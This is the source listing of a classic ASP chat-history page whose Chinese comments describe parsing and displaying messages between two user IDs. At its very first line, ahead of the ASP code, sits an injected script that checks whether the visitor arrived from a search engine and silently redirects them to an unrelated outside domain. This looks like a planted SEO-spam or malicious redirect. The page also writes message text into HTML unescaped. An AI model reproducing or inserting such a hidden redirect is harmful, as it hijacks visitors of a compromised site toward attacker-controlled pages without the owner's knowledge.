d:\wwwroot\wuchunhua\qq\list_history.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'变量定义
003:
Dim back_message,accept_id,send_id
004:
005:
'Request对象中必须有send_id或者accept_id参数
006:
If Request("send_id")="" Or Request("accept_id")="" Then
007:
Response.Write ("超链接错误:Request对象中必须有send_id或者accept_id参数")
008:
Response.End
009:
End If
010:
011:
'获得消息接收者的ID号
012:
accept_id=Request("accept_id")
013:
'获得消息发送者的ID号
014:
send_id=Request("send_id")
015:
016:
'显示历史消息记录的函数
017:
Function list_message(back_message,accept_id,send_id)
018:
'变量定义
019:
Dim write_txt,strs,strs1,strs2
020:
021:
'循环处理消息
022:
Do While(instr(back_message,"|" & accept_id & "," & send_id & ",")>0 Or instr(back_message,"|" & send_id & "," & accept_id & ",")>0)
023:
'发送和接受的消息
024:
lens1=instr(back_message,"|" & accept_id & "," & send_id & ",")
025:
lens2=instr(back_message,"|" & send_id & "," & accept_id & ",")
026:
027:
'如果发送过消息
028:
If lens1>0 Then
029:
'如果接收过消息,并在发送消息在接收消息之后
030:
If lens1>lens2 And lens2<>0 Then
031:
'获得从接受消息位置开始的所有字符
032:
strs=mid(back_message,lens2)
033:
Else
034:
'获得从发送消息位置开始的所有字符
035:
strs=mid(back_message,lens1)
036:
End If
037:
Else
038:
'没有发送过消息,获得从发送消息位置开始的所有字符
039:
strs=mid(back_message,lens2)
040:
End If
041:
042:
'使用|字符将字符串分割成一条条的消息
043:
strs2=split(strs,"|")
044:
045:
'如果记录多于1条
046:
If len(strs)>(len(strs2(1))+1) Then
047:
'设置back_message变量的值
048:
back_message=mid(strs,cint(len(strs2(1))+1))
049:
Else
050:
'设置back_message变量的值
051:
back_message="||"
052:
End If
053:
054:
'使用,字符将消息字符串分解成为各个部分
055:
strs1=split(strs2(1),",")
056:
057:
'输出显示消息的HTML代码
058:
'显示消息内容、发送时间、发送人等
059:
write_txt="<font color=red size=2>(" & strs1(3) & ") " & strs1(4) & "</font><br><font color=blue size=2>" & strs1(2) & "</font><br>" & write_txt
060:
Loop
061:
062:
'输出write_txt字符串变量
063:
Response.Write write_txt
064:
065:
'返回值
066:
list_message=write_txt
067:
End Function
068:
069:
'显示消息
070:
Dim lens1,lens2
071:
072:
'历史消息记录
073:
back_message=Application("back_messages")
074:
075:
'历史消息记录不为空
076:
If back_message<>"" Then
077:
'显示消息
078:
list_message back_message,accept_id,send_id
079:
End If
080:
%
>
081:
082: